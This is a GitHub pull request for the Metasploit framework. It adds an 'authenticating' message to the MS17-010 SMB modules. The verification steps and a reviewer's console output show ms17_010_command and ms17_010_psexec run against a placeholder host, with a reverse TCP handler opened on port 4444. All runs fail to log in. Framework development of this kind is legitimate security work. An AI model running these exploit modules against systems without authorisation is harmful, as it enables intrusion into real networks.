New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add authenticating... message #11044

Merged
merged 1 commit into from Dec 1, 2018

Conversation

Projects
None yet
2 participants
@jrobles-r7
Contributor

jrobles-r7 commented Nov 30, 2018

Authentication message. Nice for screenshots.
reported by @actuated

Verification

List the steps needed to make sure this thing works

  • ./msfconsole -q
  • use auxiliary/admin/smb/ms17_010_command
  • set rhosts <rhost>
  • run
  • Verify no auth message
  • set smbuser <user>
  • run
  • Verify auth message is present
  • use exploit/windows/smb/ms17_010_psexec
  • set rhosts <rhost>
  • run
  • Verify no auth message
  • set smbuser <user>
  • run
  • Verify auth message is present
@bcoles

bcoles approved these changes Dec 1, 2018

@bcoles

This comment has been minimized.

Contributor

bcoles commented Dec 1, 2018

Works as described.

msf5 > use auxiliary/admin/smb/ms17_010_command
msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 1337.69.69.1337
rhosts => 1337.69.69.1337
msf5 auxiliary(admin/smb/ms17_010_command) > run

[*] 1337.69.69.1337:445    - Target OS: Windows 7 Professional 7601 Service Pack 1
[-] 1337.69.69.1337:445    - Unable to find accessible named pipe!
[*] 1337.69.69.1337:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/ms17_010_command) > set smbuser asdf
smbuser => asdf
msf5 auxiliary(admin/smb/ms17_010_command) > run

[*] 1337.69.69.1337:445    - Authenticating to 1337.69.69.1337 as user 'asdf'...
[-] 1337.69.69.1337:445    - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] 1337.69.69.1337:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > set smbuser
smbuser => 
msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 1337.69.69.1337
rhosts => 1337.69.69.1337
msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 1337.69.69.196:4444 
[*] 1337.69.69.1337:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[-] 1337.69.69.1337:445 - Unable to find accessible named pipe!
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_psexec) > set smbuser asdf
smbuser => asdf
msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 1337.69.69.196:4444 
[*] 1337.69.69.1337:445 - Authenticating to 1337.69.69.1337 as user 'asdf'...
[-] 1337.69.69.1337:445 - Rex::Proto::SMB::Exceptions::LoginError: Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_psexec) > 

@bcoles bcoles self-assigned this Dec 1, 2018

@bcoles bcoles merged commit 8047bf2 into rapid7:master Dec 1, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

bcoles added a commit that referenced this pull request Dec 1, 2018

msjenkins-r7 added a commit that referenced this pull request Dec 1, 2018

@bcoles

This comment has been minimized.

Contributor

bcoles commented Dec 1, 2018

Release Notes

Add 'authenticating' output message to MS17-010 modules.

@bcoles bcoles added the module label Dec 1, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment